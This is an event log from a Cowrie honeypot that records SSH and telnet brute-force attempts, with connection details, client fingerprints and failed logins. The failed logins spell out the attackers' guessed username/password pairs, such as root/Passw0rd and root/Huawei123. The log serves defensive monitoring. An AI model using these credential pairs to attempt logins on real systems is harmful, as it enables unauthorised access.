{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:51.812546Z","src_ip":"45.156.87.254","session":"2ceca3c6bb7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:52.900961Z","src_ip":"45.156.87.254","session":"2ceca3c6bb7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46604,"dst_ip":"159.203.135.109","dst_port":22,"session":"939a9e62c0f9","protocol":"ssh","message":"New connection: 45.156.87.254:46604 (159.203.135.109:22) [session: 939a9e62c0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:56.419209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:56.424540Z","src_ip":"45.156.87.254","session":"939a9e62c0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:56.503009Z","src_ip":"45.156.87.254","session":"939a9e62c0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:56.836134Z","src_ip":"45.156.87.254","session":"939a9e62c0f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.999683141708374,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:57.907210Z","src_ip":"20.123.41.163","session":"7a7f8c224f34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:57.925371Z","src_ip":"45.156.87.254","session":"939a9e62c0f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:15:59.442411Z","src_ip":"182.253.168.47","session":"2e5fa5d911e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53546,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee3192f1deda","protocol":"telnet","message":"New connection: 104.245.105.2:53546 (10.17.0.5:23) [session: ee3192f1deda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:00.911577Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":51082,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2c8ed34741a","protocol":"telnet","message":"New connection: 20.123.41.163:51082 (10.17.0.5:23) [session: f2c8ed34741a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:01.062108Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44764,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d326f12e841","protocol":"ssh","message":"New connection: 45.156.87.254:44764 (159.203.135.109:22) [session: 1d326f12e841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:01.767279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:01.775357Z","src_ip":"45.156.87.254","session":"1d326f12e841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:01.861806Z","src_ip":"45.156.87.254","session":"1d326f12e841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:02.114271Z","src_ip":"45.156.87.254","session":"1d326f12e841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:03.267876Z","src_ip":"45.156.87.254","session":"1d326f12e841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":40406,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae5dbac2a5b7","protocol":"ssh","message":"New connection: 182.253.168.47:40406 (10.17.0.5:22) [session: ae5dbac2a5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:03.448780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:04.598866Z","src_ip":"182.253.168.47","session":"ae5dbac2a5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:04.602762Z","src_ip":"182.253.168.47","session":"ae5dbac2a5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odoo12","message":"login attempt [root/odoo12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:05.750828Z","src_ip":"182.253.168.47","session":"ae5dbac2a5b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44774,"dst_ip":"159.203.135.109","dst_port":22,"session":"72152c3ddf5f","protocol":"ssh","message":"New connection: 45.156.87.254:44774 (159.203.135.109:22) [session: 72152c3ddf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:06.986881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:06.991812Z","src_ip":"45.156.87.254","session":"72152c3ddf5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:07.040137Z","src_ip":"182.253.168.47","session":"ae5dbac2a5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:07.090201Z","src_ip":"45.156.87.254","session":"72152c3ddf5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:07.343274Z","src_ip":"45.156.87.254","session":"72152c3ddf5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.737637042999268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:07.589069Z","src_ip":"104.245.105.2","session":"bb115e2bcc3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:08.428607Z","src_ip":"45.156.87.254","session":"72152c3ddf5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36038,"dst_ip":"159.203.135.109","dst_port":22,"session":"20035d00b17e","protocol":"ssh","message":"New connection: 45.156.87.254:36038 (159.203.135.109:22) [session: 20035d00b17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:12.182088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:12.190339Z","src_ip":"45.156.87.254","session":"20035d00b17e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:12.280684Z","src_ip":"45.156.87.254","session":"20035d00b17e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:12.747358Z","src_ip":"45.156.87.254","session":"20035d00b17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:13.834333Z","src_ip":"45.156.87.254","session":"20035d00b17e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36048,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eea39b05c7c","protocol":"ssh","message":"New connection: 45.156.87.254:36048 (159.203.135.109:22) [session: 4eea39b05c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:17.209343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:17.214332Z","src_ip":"45.156.87.254","session":"4eea39b05c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:17.296197Z","src_ip":"45.156.87.254","session":"4eea39b05c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:17.548258Z","src_ip":"45.156.87.254","session":"4eea39b05c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:18.835197Z","src_ip":"45.156.87.254","session":"4eea39b05c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52010,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07e42cbc508","protocol":"telnet","message":"New connection: 20.123.41.163:52010 (10.17.0.5:23) [session: b07e42cbc508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:20.125602Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35118,"dst_ip":"159.203.135.109","dst_port":22,"session":"48863feabe27","protocol":"ssh","message":"New connection: 45.156.87.254:35118 (159.203.135.109:22) [session: 48863feabe27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:21.738143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:21.743381Z","src_ip":"45.156.87.254","session":"48863feabe27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48142,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc0729559bbd","protocol":"telnet","message":"New connection: 104.245.105.2:48142 (10.17.0.5:23) [session: fc0729559bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:21.786387Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:21.827785Z","src_ip":"45.156.87.254","session":"48863feabe27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:22.091869Z","src_ip":"45.156.87.254","session":"48863feabe27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:23.177001Z","src_ip":"45.156.87.254","session":"48863feabe27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":44496,"dst_ip":"10.17.0.5","dst_port":23,"session":"88ba38c2d5e5","protocol":"telnet","message":"New connection: 20.123.41.163:44496 (10.17.0.5:23) [session: 88ba38c2d5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:24.804337Z"}
{"eventid":"cowrie.session.closed","duration":51.36357879638672,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:25.468024Z","src_ip":"20.123.41.163","session":"00c1fb4e56e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35128,"dst_ip":"159.203.135.109","dst_port":22,"session":"4647b73fb85d","protocol":"ssh","message":"New connection: 45.156.87.254:35128 (159.203.135.109:22) [session: 4647b73fb85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:26.067428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:16:26.072440Z","src_ip":"45.156.87.254","session":"4647b73fb85d","protocol":"ssh"}
